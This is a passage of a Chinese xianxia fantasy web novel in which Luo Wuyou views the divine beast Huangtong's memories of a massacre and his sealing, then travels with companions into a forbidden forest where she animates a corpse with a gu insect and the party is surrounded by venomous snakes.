耳边风声呼啸而过,三人极速下落,不知过了多久方才减慢速度。
帝无邪用力地搓了搓手臂,周围环境极为冷湿。
然而,煌瞳为神兽,自然不觉得冷。
落无忧又在煌瞳的回忆里,更是不觉什么了。
洞底一片寂静,泛着幽幽绿光,寸草不生。
除了三人旁边有一块巨大的黑石外,空荡荡的。加之迷雾重重,不能视物。
几人脚下的土地是黑黢黢的,踩上去有些柔软,土壤里沁出暗红色的液体,腥味极重。
落无忧忽然想起,这地上的液体莫不是鲜血吧?
果然,帝无邪皱着眉头说,
“此地是死了多少人啊?”
死了多少人,才让鲜血宛若地下水般在泥土中沁出?
煌瞳也收敛起了笑容,轻声道,
“这可能是某种禁术。”
煌瞳话音刚落,远方便传来铁链在地上摩擦拖动的声响。
两人立即躲到最近的一块大石头后方。
落无忧也不禁屏气凝神,跟在两人身后。
铁链声越来越近,不过一会儿,迷雾中隐隐迢迢,一群人影缓缓走出。
一看清楚那群人的模样,落无忧张大嘴巴,瞪大双目,极为震惊。
却见迷雾中走出的那群人,或者不能称作人。他们均脸色惨白,头发浓密,双眸中没有黑瞳只留眼白。
更奇的是,他们目光呆滞,动作僵硬,手脚间都有铁链拴着,排成一长列,按顺序缓缓行走。
而他们旁边正站着两个人,一人全身穿白,一人全身穿黑,两人手执细鞭,动不动便打骂那群人,不知要将他们赶往何方?
然而落无忧的疑惑在下一刻便被解开了。
三人方才落下的地方有一束光团自阳界投入,极亮。
而此刻,那群人一个一个走进那团光团中,两名阴使开始施法。
下一刻,那群人竟随着白光原地消失!
两名阴使又转身,往来的方向走去。
帝无邪与煌瞳对视一眼,两人均在彼此眼中看见了猜想。
“接下来该如何做?”
煌瞳询问道。
帝无邪摇了摇头,“此事牵扯较广,我们先离开此地。”
随后,三人也沿着那个光柱往阳界走去。
然而这时,空间颤动,落无忧只觉天地倒转。
下一刻,她又处在了一片混沌之中。
这是煌瞳的回忆出了问题么?
落无忧暗道。
之后,她又被推入一个时空裂缝之中。
入目的却是漫天遍野的猩红。
落无忧只懵懂了一瞬,耳边便传来一阵惨叫声。
随后,她便见一群修士一个个倒地。他们死状惨烈,有的四肢被砍,有的尸首分开,有的脑袋宛如西瓜般迸裂开来。
落无忧哪见过如此惨景,只觉胃中翻滚不止,“呕”的一声,弯腰在一旁干呕着。
修士们义正严辞的声音此起彼伏。
“魔兽煌瞳,你罪孽深重,万死难辞其咎,还不速手就范!”
“吼——”的声音震耳欲聋,其音中充满了恼怒与愤恨。
与此同时,一阵诺大的灵力波动排山倒海而来,将那群密密麻麻的修士震出很远后又猛然砸下。
霎时间,苍溟泽上,血流漂杵。
“孽畜!孽畜!五毒门内的三百四十三个人身死火海、渚清峰上的三千修士死状惨烈,无一人皆不是你所为!魔障山上被困多年的魔物现身人界,危害人间,可是你所为?”
一道义正言辞的声音穿过密密麻麻的呼痛声而来。
落无忧转头,却见苍溟泽上乌云密布,万钧雷霆纷纷汇聚。
而一虎首龙身的巨大白兽立于其间。而那白兽却口吐清亮无比的少年音,
“是我又如何?你们这些表面光华靓丽、义正言辞的修士,实则最是贪婪无比!你们妄想以凡人之躯获取神力,难道不该杀吗?”
少年声音越发阴沉冷漠了下来。
正在缓缓起身的修士们脸色青一阵白一阵的,其间有一中年修士率先上前来,啐了一口,骂道,
“你莫要强词夺理,孽畜便是孽畜!今日定是你的死期!”
煌瞳冷笑一声,直冲那名修士而来,想要将其撕成碎片。
然而下一刻,一道柔和至极的灵力徐徐而来,竟将煌瞳的攻击轻柔的化开。
煌瞳金色双眸中竟是诧异。
下一刻白衣白发异瞳青年翩然而至。
他的声音多了几分温和,像似在哄煌瞳,
“煌瞳,你这是做什么?”
煌瞳眼底闪过几分委屈,声音也竟不自觉的软了下来,
“五毒门的人居然敢伤你,还有这群不知死活的修士非要来找我麻烦……”
煌瞳话音未落,便被为首的一个修士打断了,
“帝无邪,你来的正好,这魔兽罪大恶极,你说当不当杀?!”
帝无邪缓缓转身,目中杀气成型,声音淬了冰似的冷入骨髓。
“哦?依碧长老之见,该如何杀这孽畜?”
碧如季知晓煌瞳乃帝无邪的灵兽,本来害怕他不愿帮他们,此时听帝无邪这么一问,心下喜悦不已,立马回道,
“依我拙见,应当立即将其诛杀,饮其血,啖其肉,剐其皮!”
帝无邪周身气压低了一瞬,挥袖而去,硕大的灵力使碧如季倒飞出去,口吐鲜血。
“你!!”
那群修士议论纷纷,有一人指着帝无邪骂道,
“呸!亏我还以为青枫帝无邪正义十足,为正道之光。我看你和那魔兽便是蛇鼠一窝,皆为魔道之徒!”
“就是就是……”立马有人附和。
帝无邪双眸泛着异光,一蓝一黄,更添了一丝妖冶。
看上去,煌瞳和帝无邪应当修为更高,可落无忧心里却涌起一股担忧来。
帝无邪脸色比上次见时更加苍白,唇色也泛白。
况且,这些名门正派的修士威望甚高只怕会召集整个大陆上的修士前来诛魔。
毕竟这个世界上,从来都是多数人占据正理。
“好好好,既然帝无邪也坠入魔道,那我们便连他一起诛杀!”
“不仅如此,以我之见,斩草要除根,连这青枫宫、
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青枫山脉都要荡平!”
此言一出,众多修士均沉默了一瞬,其间有一道细弱的女声刚刚响起,便又被反驳了。
“可这青枫宫、青枫山脉何其无辜啊……”
“那又如何,生在帝无邪手下,便是其罪!”
明明是一句十分无理的话,却被众多修士纷纷称赞。
毕竟,他们是名门正道。
浓浓的失望在帝无邪的眼底蔓延开来。
却听他道,
“既已如此,各位请便吧!”
随即,他轻点足尖,往乌云密布之地飞去。
煌瞳见他过来,自觉的垂下虎头。
帝无邪站在煌瞳背上,蹲下轻轻地摸了摸煌瞳的背,叹了口气,喃喃道,
“这便是,我们要守护的世人吗?”
向来自负高傲,天资聪颖的帝无邪,此时却迷茫不已。
煌瞳的声音里染上了怒意,
“这些虚伪至极的小人,我要杀他们个片甲不留!”
帝无邪轻声道,
“可青枫山脉里那么多凡人和小修士何其无辜啊……”
他好似又想起了什么,“煌瞳,你说,我当初救下她是对是错?”
煌瞳感知到主人的怀疑与自责,不禁也轻微的叹了口气,
“帝无邪,你从来都是对的。我们初次见她时,她不过是个刚刚化形的小姑娘,她什么都不知,她该活着,活的像世间所有平凡女孩一样耀眼。”
帝无邪沉默许久后,方才抬头,双眸中却发着光芒,只听他道,
“煌瞳,随我杀遍天下伪善人吧!”
“吼——”白泽嘶吼一声,作为回应。
神兽白泽神力莫测,青枫宫创立者帝无邪自然也天赋异禀。
两人将方才叫的最大的几名修士掀起,杀掉。
苍溟泽上电闪雷鸣,不过一会便大雨如注。
前来苍溟泽的万千修士,最后活着的不过几十人而已。
煌瞳杀的尽兴,本欲再动手,却听帝无邪声音忽然冷了下来,
“煌瞳!不能再杀了。你已有些许魔化了。”
在煌瞳还在错愕之中时,帝无邪拉起他的人身,将他拉入苍溟泽底下。
“煌瞳,你魔化了。”
帝无邪的声音异常冰冷。
连落无忧都有几分错愕。
“我要将你囚于此地,生生世世、永生永世,再不出来。”
煌瞳乃帝无邪的灵兽,自然知其弱点,加之帝无邪变幻太快,煌瞳还未反应过来,便被他锁在了苍溟泽之下。
煌瞳心中愤怒、错愕、不解、担忧、痛恨等复杂情绪交织一起。
他金黄色的双瞳忽明忽暗,用力挣脱铁链,可那是缚神链,他岂能挣开。
“帝无邪,你骗我!”
煌瞳内心的怒火宛如滔天海浪般席卷而来,令整个苍溟泽颤动不已,几近坍塌。
帝无邪眼中无悲无喜,声音平静至极,
“煌瞳,我以此符文将你囚于此地,望你改过自新。”
说罢,密密麻麻的符文自他袖中飞出爬在煌瞳身上。
帝无邪转过身,背对着煌瞳,
“你我就此分别,此生不再相见。”
落无忧内心的惊讶不必煌瞳少,她不解地随帝无邪跑出山洞。
却见方才还如仙人般怡然自得的帝无邪猛然吐出一口黑血,他半跪倒在苍溟泽中,雪白如玉的衣袍上沾上殷红的血。
苍溟泽上血流成河,尸首遍野。
上空电闪雷鸣,宛如天神之怒。
12. 神秘古庙(一)
而煌瞳的回忆到此便戛然而止了。
时空开始震动撕裂,落无忧在混沌中不断摸索,方才远远的看见一抹亮光。
那抹亮光不断变亮,刺的落无忧眼眶生疼,她忍不住眯了眯眼,待到她再次睁开眼时已回到了苍溟泽之下。
“如何,这可是帝无邪负我骗我在先?”
落无忧压下心中翻涌而上的情绪,将目光放在锁着煌瞳的铁链上。
血腥味依然仿佛萦绕鼻尖,可眼前却已非彼时。
她疑惑的是,为何师祖态度转变如此之快,为何他会吐血。
“你的记忆不完整,此事尚未定论。”
“那又怎样?你可是亲眼目睹他讲我封印在此,让我百年来日日夜夜忍受禁锢,让我成为名副其实的魔兽,甚至让苍溟泽也由神渊变为魔渊!!”
落无忧沉默着,煌瞳所说也并无道理,可真相到底是怎样的呢?
“在你的记忆里,你和师祖提到了一个人,那个人是谁啊?”
落无忧忽然想起两人的对话,不禁疑惑道。
煌瞳摇了摇头,金色的瞳孔中竟出现了一丝迷茫。
“我……我忘记了。”
“你可知道是谁夺走了你的记忆?”
“不知。”煌瞳顿了顿,“我现有的所有记忆已给你看过了。”
落无忧一愣,煌瞳千百年来的记忆竟只剩下了两段么?
“你应当误会师祖了。”落无忧轻叹道。
心下却想着该如何为煌瞳寻回记忆。
“你既是帝无邪的后人,那你……”煌瞳的语气里罕见的带上了丝郝然。
“你想让我为你找回记忆?”
落无忧率先答道,又嘲讽道,
“你肯承认你误解师祖了?”
“我才没有!”煌瞳恼怒道,“我只是想搞清楚一切缘由!”
落无忧无所谓地撇撇嘴,“我自然会帮你。不过,我该如何去为你寻找记忆?”
煌瞳这时便正色起来了,只见他微微凝力,一块淡金色的玉佩自他身上浮出,朝落无忧飞去。
落无忧抬手接过玉佩。玉佩触手冰凉,泛着暖光,灵力在其周围跳动不已。
“此玉佩里有我的一缕精魂,你戴着它,它会为你指明方向的。”
煌瞳的声音突然郑重起来,
“小姑娘,此番多谢你了!”
落无忧摆了摆手,却又听煌瞳的语气里带着一点警告,
“你体内那颗魔丹不好炼化,你需得多加小心,莫生魔念。”
听闻此言,落无忧收敛神色,轻轻点头。
所谓一念生,万物存,若生魔念,极易坠魔。
随后,煌瞳双目泛着金色光芒,巨大的灵力猛然侵袭而出,下一瞬那些灵力竟稳稳地环绕着落无忧,将其往地面上送去。
落无忧冲破阻碍,踉跄几步方才站定。
却见到了正在剑拔弩张的众人。
原来落无忧进入煌瞳回忆中时,时间被凝固,众人便维持着最后的动作,等到落无忧醒来,时光便也再次开始流动。
火魅见落无忧上来了,便颇有深意地笑了一下,随即对几人道,
“我们走!”
“主子?”漓羽不解地唤了一声。
朱魇过去一把拉住她,几人瞬间遁去。
剩下几人面面相觑。
“诶!别走啊!”白隐迢跑了两步,不明白他们在做什么。
“落落,你没事吧?”
白秋尽率先走近落无忧,拉着她左看右看,检查她是否受伤。
落无忧冲白秋尽嫣然一笑,配合着白秋尽的检查,“白姐姐,我好着呢!”
白秋尽松了口气。
“他们是在阻止我们进去?”
云殷寒忽然开口。
白秋尽点了点头,“确实如此,一见到落落出来,他们便走了。”
“所以他们是为了阻止我们将煌瞳放出去么?”
“煌瞳?煌瞳就是神兽白泽吗?”白隐迢凑近落无忧问道。
落无忧不动声色地往后退了一步,纤指抚上腰间的玉佩,叹道,
“这可由不得他们了。”
*
秋日的青枫山脉色彩斑斓,火红的枫树,苍翠的青松,其间夹杂着各色的树木。
风一吹,落叶沙沙而下,宛如与世隔绝。
几人跟着煌瞳玉佩的指引走了半日,在一棵大枫树下坐下休息。
地上铺满了一层火红的毯子。
几人坐在老树盘旋的树根间,枫叶随风而落,宛如人间仙境。
白隐迢抓着一片火红的枫叶在手中把玩着,感慨道,
“青枫的秋景果然名不虚传啊!”
他身旁躺着的落无忧听闻此言,嗤笑道,
“这有什么!待无忧花开了,目光所致,尽是火红;鼻中所嗅,尽是芳香!”
“无忧花?那是什么?”
白隐迢低头问道。
“无忧花生于湿热之地,又名‘火焰花’,花开之时,如火焰般灿烂热烈,若是无忧可成精……”
说到这里,云殷寒急急地刹住了音,目光不自然地从落无忧身上移开。
“若是成精会怎样?”
落无忧坐起身,疑惑地问道。
白秋尽与白隐迢亦是好奇地看向云殷寒。
云殷寒抿着嘴唇,一言不发。心道:
若是无忧可成精,应是如你一般的少女吧!
见云殷寒不说话,白秋尽将话题不着痕迹地转移开,
“所以落姑娘的名字是出于此么?”
此言一出,云殷寒又抬眸,想听落无忧的回答。
落无忧看着白秋尽,笑道,
“白姐姐唤我‘落落’好了!
师父说,十六年前,她在一棵灼灼肆放,烈如火焰的无忧树下捡到我。
那时,微风拂过,几朵无忧花落在我身上,她便给我取名为‘落无忧’,
取‘一生热烈,百世无忧’之意。”
明明是这般悲惨的身世,落无忧却语气淡然,好似在陈说别人的故事一般。
“你们不必同情我,我虽没有爹娘,但我有师父,师父是这世待我最好的人了!”
落无忧耸了耸肩,真挚道。心中却黯然神伤:不知道师父消气了没有?
阿鸾拿药回来时说没见到落无忧师父,虽说落无忧是赌气出山,但此刻气已消了,只剩下密密麻麻的担忧。
云殷寒认真地盯着落无忧,一字一句道,
“我……我们也会待你好的!”
白
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隐迢点了点头,道,
“是啊是啊,我们是好朋友嘛!”
白秋尽亦是点了点头,她再次主动将话题移开,
“落落,你知道我和阿迢名字的由来吗?”
听闻此言,落无忧好奇地看向白秋尽,摇了摇头。
白隐迢插嘴道,
“阿姐生于暮秋时分,我和阿姐的名字便出自诗句‘青山隐隐水迢迢,秋尽江南草未凋’——落落,江南的秋天与这里的不大一样,但也很美,以后我们带你去玩呀!”
听到玩,落无忧眸光一亮。
“好啊!对了,残星楼的秋天好看吗?”
云殷寒愣了愣,缓缓道,
“自是极好的。”
白隐迢又道,
“云大哥,我还未去过残星岛呢,待到历练结束后,我们三人一同去残星岛寻你,如何?”
落无忧与白秋尽皆是一喜。但落无忧瞬间就焉了,她闷闷道,
“可是,我答应过师父不去残星岛的……”
秋紫霜向落无忧介绍六大楼时,残星楼涉及最少,到了后面落无忧提起残星楼,她都会生气。时至今日,落无忧始终想不明白师父为何对残星楼会有如此大的敌意。
“为何?”
云殷寒问道。
白隐迢瞪大眼睛,一副不解的模样。
白秋尽虽仍旧一副温婉的模样,但其实她内心也是不解。
落无忧摇了摇头,“我也不知道啊。”
白隐迢还想再问,可云殷寒突然开口道,
“时间不早了,先赶路吧。”
其余几人看了一眼渐渐西下的太阳,点了点头,一行人便重新出发。
几人走了很久,在暮色四合时,到了一个村寨。
寨子四面环山,暖黄色的灯火如明珠散落,在暮色中更显渺小,仿佛被巨龙吞噬的萤火。
几人走近寨子,惊醒了寨门处的狂犬。
那条狗开口叫喊之后,寨子中传来此起彼伏的犬吠声。
落无忧有些烦躁,手中的石子刚要打出,便见有人打着火把而来。
那人制止了狗叫,随即打开了寨门。
灯光下,映入几人眼中的是一个身穿深蓝色布衣的青年男子。
他朝几人微微颔首,将几人带进寨子里。
几人跟在他身后,门口的那条狗虽没有再叫,却依旧警惕地盯着几人。
落无忧见它想叫不叫的样子,心中乐了,冲它扮了个鬼脸。
云殷寒心中暗笑,却依旧面无表情地跟在落无忧身后。
街道上空无一人,晚风吹来,略感寒意,更加显得两旁房屋里的昏昏灯火温馨怡人。
那青年男子在街旁一间木屋前停下来。
屋门口睡着的一条黄狗一见到青年男子,便迅速站起来,冲他摇了摇尾巴,而后又绕着落无忧几人边摇尾巴边转圈。
男子推开房门,温暖与光明扑面而来。
映入几人眼中的时候一张简陋的桌子,四把椅子以及一个身着粗布衣衫的年轻女子。
年轻女子正坐在一个烧得正旺的火炉旁,她正轻轻地拍打着哄怀中的孩子入睡。
听到推门声,她抬起头,朝几人笑了一下。
而后,她缓缓起身,抱起孩子往里屋走去。
13. 神秘古庙(二)
青年男子将几人引入屋子,火炉里的木柴燃得正旺,发出“噼里啪啦”的声音。
几人环坐在火炉旁,温暖瞬间遍及全身。
青年男子介绍道,
“我叫阿布,方才那个是内人阿衣。”
云殷寒点了点头,道,“鄙姓云,名殷寒。”
他指了指身旁的橙衣少女,介绍道,
“她叫落无忧。”
又指了指一旁的白家姐弟,道,“这是白秋尽,白隐迢。”
云殷寒话音刚落,阿衣便从里屋走出来,她冲几人微微一笑。
阿布站起身,朝她走去,温声道,“妹子,去给几位客人备些酒食罢。”
阿衣点了点头,朝灶房走去。
阿布给几人拿了盘瓜子后,又给几人泡了壶茶。
做完这些后,他便往灶房走去。
云殷寒余光扫过落无忧,察觉到小姑娘脸色微变。
他疑惑地转过头。
映入眼帘的是,小姑娘在火光的映射下有些温柔的眉眼以及在她清澈的双眸里微微跳动的火焰。
莫名的有些……蛊惑人心。
云殷寒咳了一声,有些仓促地移开视线。
却听到落无忧疑惑地问道,“哥哥,你……耳朵,怎么红了?”
云殷寒窘迫万分,却依旧面无表情地问道,“有么?”
落无忧朝他肯定地点了点头,这边的白隐迢也叫道,“有啊,云大哥,真的红了!”
云殷寒只觉一股少女的体香扑鼻而来,随后,一只冰凉的小手摸了一下他的耳朵。
落无忧摸了一下云殷寒的耳朵,叫道,“云殷寒,你耳朵……好烫!”
这一下吸引了白秋尽与白隐迢担忧的目光。
云殷寒看着火炉,闷声道,“我没事。就是……有点……热。”
落无忧狐疑地看了云殷寒一眼,还未来得及思索,便听白隐迢问道,
“落落,你刚刚何故一脸羡慕地看着阿布大哥和阿衣大嫂啊?”
此问一出,云殷寒也不由自主地屏气倾听,这个也是他方才未问出口的问题。
只见,落无忧的目光安静地落到灶房处,嘴角微微上扬。
几人沿着她的目光望去。
半掩的灶房里,阿衣正在做饭,阿布则在一旁替她烧火添柴。
忙碌间隙,两人相视一笑。
“烟火人间,神仙眷侣,大抵便是如此吧!”
落无忧轻声感叹道。
白秋尽收回目光,亦感叹道,“可世间真有人愿为另一人放弃世俗的命与利,甘愿与世隔绝,柴米油盐么?”
说罢,她看了一眼云殷寒。
只见云殷寒只是垂着眼睑紧紧地盯着火炉中跳动着的火焰,并不做声。
白秋尽心中黯然,却硬生生的压下心头的悲意。
落无忧点了点头,心中有些莫名的失落。
“可若是两情相悦,又怎甘一生无缘?”
云殷寒抬眸,定定的看了一眼落无忧,抿了抿嘴,又移开了目光。
不同于两个姑娘的多愁善感,白隐迢只是豁然一笑,道,“若是两情相悦,为她放弃一切又何妨!”
几人还在谈论着,阿布便端出酒食。
寨子里的食物自然比不上那些珍馐美味。
可在这样的夜里却别有一番风味。
几人吃完后,便往阿衣为他们准备好的客房里走去。
第二日早上,几人离开时,云殷寒拿出一些银子作为报酬。
然而,阿布却硬是不收。
他说,他们一家人收留过很多过路人,不收银子,是他们代代相承的传统。
几人心中一暖,刚要跨步离开时,一个中年妇女哭着跑进阿布家。
只见,那个妇女紧紧地拉住阿布的衣衫边叫着“阿布,帮帮我……”边要下跪。
阿布用力地拖着妇女,不让她跪下。
“刘家阿婶,您别急,慢慢说……”
阿衣也过来扶着那个妇女。
那个妇女断断续续地说出事情的来龙去脉。
原来,前日那妇女的丈夫上山砍柴后并未回来,那妇女一家人不放心,昨日一早,那妇女的两个儿子一同上山寻找父亲,可他们也都没有回来。
那妇女哭喊道,“阿布,整个寨子里,我只能找你了……”
阿布疑惑不解,“阿婶,寨子里的人都很善良,我们去寻些人来,一同去寻找阿叔他们。你看,可好?”
一听到叫寨子里的人去寻找,那妇人顿时急了,哭道,“不行啊!阿布……不可以……”
阿布疑惑道,“为何不可呀?”
那妇女断断续续道,“他们……他们去的是……是……”
好似顾虑着什么,那妇人不敢说下去。
阿布问道,“是哪里?”
那妇女哭道,“是……禁林……”
此言一出,阿布和阿衣都吸了口气。
寨子四面环山,那几座山中西南那座山上有个禁林。
寨子里的祖祖辈辈都守着一个禁令——无论发生什么,都不能入禁林,否则所有人都将受其诅咒。
几百年来,没有人进过禁林,可此刻却……
阿布终于明白刘家阿婶为何不愿让寨子里的人知晓了。
若是叫寨子里的人知道,他们刘家是待不下去的。
“糊涂啊!怎么能去……那里呢?”
阿布骂道。
“阿布,你帮帮阿婶吧……”
妇人哭诉着。
阿布走近还未离开的云殷寒几人,对他们拱了拱手,歉意道,“几位少侠,这儿有件事想请你们帮忙……”
那妇人一听到这话,迅速跑向几人,刚要冲几人跪下,云殷寒便捏了个诀,轻轻托住妇人。
云殷寒冲阿布回礼,道,“阿布兄不必如此客气,我们修仙之人自然不会袖手旁观。”
————
阿布带几人上山寻人。
西南方的那座山头呈三角形,长满了郁郁葱葱的乔木,在仲秋时节,依旧如墨绿色的毯子般苍翠深邃。
早晨的白雾萦绕在半山腰,路旁枯黄的野草上落满了仿佛一不小心散落的盐巴似的白霜。
脚下的土地被冻起来了,一脚踩下去,发出“咔呲”的声音。
落无忧紧紧地拢了拢身上米白色的披风。
还嫌有些不够,她又戴上披风上的帽子。
她原先以为只是下山一趟,自然是没有准备披风的,身上这件是云殷寒的。
落无忧看了一眼因将披风给自己而冷着的云殷寒。充满歉意与感激,道,“哥哥,我给你吃糖吧!”
说着,她从挎包里掏出一把糖果。
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让云殷寒自己挑。
云殷寒看了一眼被自己披风裹得严严实实的女孩儿,又把目光移向小手中那堆糖果。
垂眼半晌,他伸手挑了一颗糖纸上画有一朵摄人心魄的朱砂梅的糖果。
却没有立即撕开糖纸放入口中,而是紧紧地握着那颗糖。
落无忧见他只拿了一颗,便不由分说地一把将手中的糖塞入云殷寒的手中。
白隐迢在前边回过头,叫道,“落落,我也想吃糖!”
落无忧被白隐迢突如其来的声音吓了一跳,脚下一崴,云殷寒迅速伸手扶了她一把。
云殷寒在手中的那一堆糖里捡出一颗,丢给白隐迢。
落无忧刚开口道,“我这里还有……”
云殷寒冷冷地瞥了她一眼,落无忧心里一惊,急急刹住了音。
————
与此同时,天上一大团云朵缓缓漂浮着,那云朵上方赫然站着四个人。
“那我们怎么办?”粉衣少女漓羽看着正在在如羊肚般弯弯曲曲的山路上行走的一行人忽的发问。
红衣女子火魅和白衣少女都未开口。
朱魇却骂道,“笨女人!”
一听这个,粉衣少女脸色微红,却立即反驳道,“你才笨呢!”
朱魇笑道,“我们嘛……坐收渔翁之利。”
————
“就是这里了。”
前方带路的阿布停下脚步,指着前方。
几人顺着他的手看去,只见山路已到尽头。
小路的尽头是一片更加茂密的树林。
几人都是修仙之人,自然可以目视千里,可进入几人眼中的树林只是黑乎乎的一片,并不能视物。
几人纷纷对视,心里都想着,“这里果然有问题。”
阿布却没有继续往前。
他为难道,“几位少侠,寨子中的人都发过誓,此生绝不入禁林……”
云殷寒点了点头,道,“阿布兄在外面等我们吧。”
落无忧脸色一变,刚要开口,云殷寒便使眼色给她,她压下火气,默不作声地走进禁林。
一走进禁林,白隐迢便问道,“就这么让阿布留在外边了?万一他们耍什么把戏怎么办啊?”
云殷寒环顾着四周,解释道,“阿布并不会武功,万一他真的不知情,带进来反倒是增加我们的负担。”
随即,他指了指北方,冲白秋尽开口道,“秋尽,你与阿迢往这边走,我与无忧直走。”
白秋尽点了点头,她虽然想与云殷寒一同去,但始终不放心叫白隐迢与落无忧一起。
“小心点,这里瘴气弥漫,极易迷路。”
云殷寒补充道。
白秋尽与白隐迢刚刚迈开步子,落无忧便丢过来两个东西。
两人接住一看,竟是两块木牌。木牌正面刻着一朵栩栩如生的花,花瓣为纤细的一片一片,宛如女孩子伸展腰肢般往外伸开,干净且妩媚。
反面是一条山脉,这个白隐迢倒是看出来了,那是青枫山脉。
可那朵花,他是真的不知道。
白隐迢不禁问道,“这是什么?”
落无忧解释道,“这是迷谷木制成的,带在身边,以免迷路!”
白隐迢摇了摇头,笑道,“我是问这朵花。”
落无忧尴尬一笑,道,“哦,那便是无忧花!”
14. 神秘古庙(三)
白隐迢与白秋尽走后,落无忧环顾四周。
只见四周古木茂密,遮光蔽日,瘴气弥漫。
云殷寒率先往前走去,落无忧立即跟在他身后。
两人走了一会儿,可是四周依旧古木参天,瘴气弥漫。
在这样的环境下,只会让人觉得人类的渺小。
落无忧皱着眉头。
奇怪的是,自从她进来禁林开始,她体内的灵力便如水入海绵一般在迅速的减少。
她看了一眼继续前进的云殷寒,欲言又止。
这时,落无忧脚下有什么东西猛然绊住她,她脚下不稳,踉跄着向前摔倒。
云殷寒心念一动,瞬移过去紧紧地拉住她的手腕。
同时,残星剑携着一束蓝光猛然破开瘴气。
一具尸体横躺在地。
那是一具青年男性的尸体。
那具尸体还未开始腐烂,看来是那几个闯入禁林中的人之一。
尸体正在散发着淡淡的令人作呕的死人气味。
但是两人刚刚并未闻到这股味道,想来是被瘴气冲散了。
云殷寒手中剑光一闪,一根木棍落入手中。
落无忧刚想说为何不直接从地上捡一根,但是当目光扫过地面时,她急急地刹住了音。
只见他们脚下的土地因常年不接触阳光而显现出阴冷模样,黑乎乎的湿土里露出半腐烂的树叶,踩在其上还会发出“滋滋”的声音,一些液体自湿土和枯叶中浸出。
给落无忧一种错觉,他们现在踩的是早已腐烂,化为糜粉的尸体。
云殷寒拿着木棍轻轻掀开那具尸体的衣衫,想看看这个男子因何而死。
落无忧一把打落云殷寒手中的木棍,云殷寒抬眸,不解地望着她。
只见,落无忧嘻嘻一笑,右手手掌中出现一个黑乎乎的小东西。
云殷寒定睛一看,那东西竟是一只虫子!
“这具尸体弃了可惜,种入蛊虫,为我所用才是最好!”
说着,她手中的小虫子竟开始爬动。
云殷寒压下心中翻涌而上的恶心感,冷冷道,“不可。”
落无忧抬起头,疑惑地盯着云殷寒。
云殷寒冷声道,“身体发肤受之父母,即便身死人亡,也不该伤其肉身。”
落无忧撇了撇嘴,反驳道,“哥哥此言差矣,这禁林凶险万分,有了这个傀儡,我们便会得心应手一些。”
说罢,落无忧不顾云殷寒的反对,直接将那只蛊虫种入那具尸体的眉心。
不过片刻,那具尸体缓缓地睁开眼睛,僵硬地站起身来。
落无忧冷声问道,“你为何人所杀?为何被杀?”
那具尸体僵硬地摇了摇头。
落无忧心中一愣,怎会不知为谁所杀?
云殷寒冷哼一声,继续前进。
落无忧愣了一下,心道,哥哥,这又是生气了么?
两人和一具尸体走了许久。
落无忧脸色渐渐苍白,不知为何,她体内灵力已经消失殆尽。
落无忧脚边传来窸窸窣窣的声音,她猛然一惊,迅速跳起。
云殷寒手中残星飞出,将一条蛇斩为两段。
“一条普通小蛇罢了。”
顿了顿,讥讽道,“落姑娘可操控傀儡,竟奈何不了一条小蛇?”
“我……不知为何,我的灵力在这里竟使用不了半分!”
所以在这里,她与凡人一般无二!
她的灵力使用不了,云殷寒火气依然未消。她不免有些难过,声音自然充满委屈。
云殷寒微微一愣,沉默半晌,微微蹲下——竟是要背落无忧。
落无忧惊讶万分,心中有些犹豫。
见落无忧半晌都没趴上来,云殷寒不禁恼怒道,“落姑娘不趴上来,是想叫你那臭傀儡背么?”
落无忧忽略他语气中的嘲讽,迅速趴在他背上。
那个傀儡又臭又硬,哪有活人舒服?
云殷寒稳稳地走着。
落无忧起初还有些不好意思,后面竟觉得没什么了。
两人走了很久,依然不见线索。
落无忧轻声道,“哥哥,我们不会是……迷路了吧?”
女孩温热的呼吸吹洒在云殷寒的脖子处。
有些痒痒的。
“你不是有木牌吗?怎会迷路?”
声音中竟带着一丝淡淡的醋意。
云殷寒一想到落无忧给了白秋尽与白隐迢一人一块木牌,他就莫名的有些烦躁。
“我原本是不需要木牌的……”
谁知道会用不了灵力。
云殷寒冷冷道,“难道我不需要么?”
落无忧突然发现云殷寒的语气中竟有几分莫名的,委屈。
她不禁紧紧地环着云殷寒,轻声道,“不怕。我们还有那只傀儡!”
不说还好,一说云殷寒就又冷哼一声,不再说话。
落无忧不知自己又哪里惹到他,只好轻声问道,“哥哥,你怎么……又生气了?”
云殷寒手一松,差点将落无忧摔下来。
落无忧猛的环住他的脖子,叫道,“哥哥,你……你可别把我摔下来,这地上保不齐是早已腐烂的尸体啊什么的……”
落无忧话语刚落,林中突然传来窸窸窣窣的声音,比那鬼雾阵中的死尸群的移动声更密集。
仿佛是成千上万的小东西快速移动的声音。
云殷寒与落无忧皆是凝神细听。
云殷寒身上发出淡淡的玄蓝色的光芒——他释放压力,使得那些东西的速度慢了几分。
落无忧用苗语念了一个口诀,只见前方几丈处的那个傀儡竟僵硬地俯下身。
而后,手中抓上来一条蛇——
落无忧与云殷寒一见到那条蛇,皆是脸色一变。
与此同时,残星猛然飞出,发出蓝光,他们周围的瘴气消失了一瞬。
等到看清瘴气里的东西,落无忧惊呼一声,云殷寒也是神色一变——
###
白秋尽与白隐迢一直走着,不知走了多久,也依旧是相同的景象。
两人都怀疑是不是迷路了,但又摸到那块木牌,松了口气。
“阿迢,小心些!这瘴气中说不定会有什么。”白秋尽有些不安地嘱咐道。
白隐迢听到姐姐的话,点了点头。更加凝神地前进。
过了一会,突然传来窸窸窣窣的声音。
白隐迢现在想起鬼雾阵中的那群死尸都一阵恶寒。一听到这个声音,他差点跳起。
白秋尽手中的未凋剑“咻”地一声飞出。
茫茫瘴气被破开的那一瞬,白隐迢惊呼着差点跳起,白秋尽脸色瞬间苍白,倒吸一口凉气——
只见茫茫瘴气中,竟密密麻麻的爬满了小蛇。
那些小蛇通体透明,一道血红色骨骼贯穿全身。
它们吐着蛇信子,缓缓朝两人移来。
白隐迢鸡皮疙瘩掉一地,头皮发麻。叫道:“阿姐,四面八方……都有!!”
白秋尽脸色苍白,右手紧紧地握着未凋,背上沁出一层密密麻麻的冷汗。
##
云殷寒与落无忧两人周围也围满了那些小蛇。
“冰血蛇?!”
云殷寒沉声道。
落无忧亦是一脸凝重,她轻轻地“嗯”了一声,小腿一阵发软。
《青枫经·异虫传》中有载:“青枫有灵蛇,其体透明,骨骼血红,其血如墨,以怨念为食,生于魔气旺盛之地。……其体内有剧毒,被沾上者记忆错乱,七日之后,灰飞烟灭,化为糜粉。”
落无忧虽常年游荡于青枫山脉中却未曾见过这种东西。
此刻,她心里亦是惊措万分。
那群密密麻麻的线条还在缓缓靠近他们,宛如丝丝缕缕的发丝,令人感到一阵恶寒。
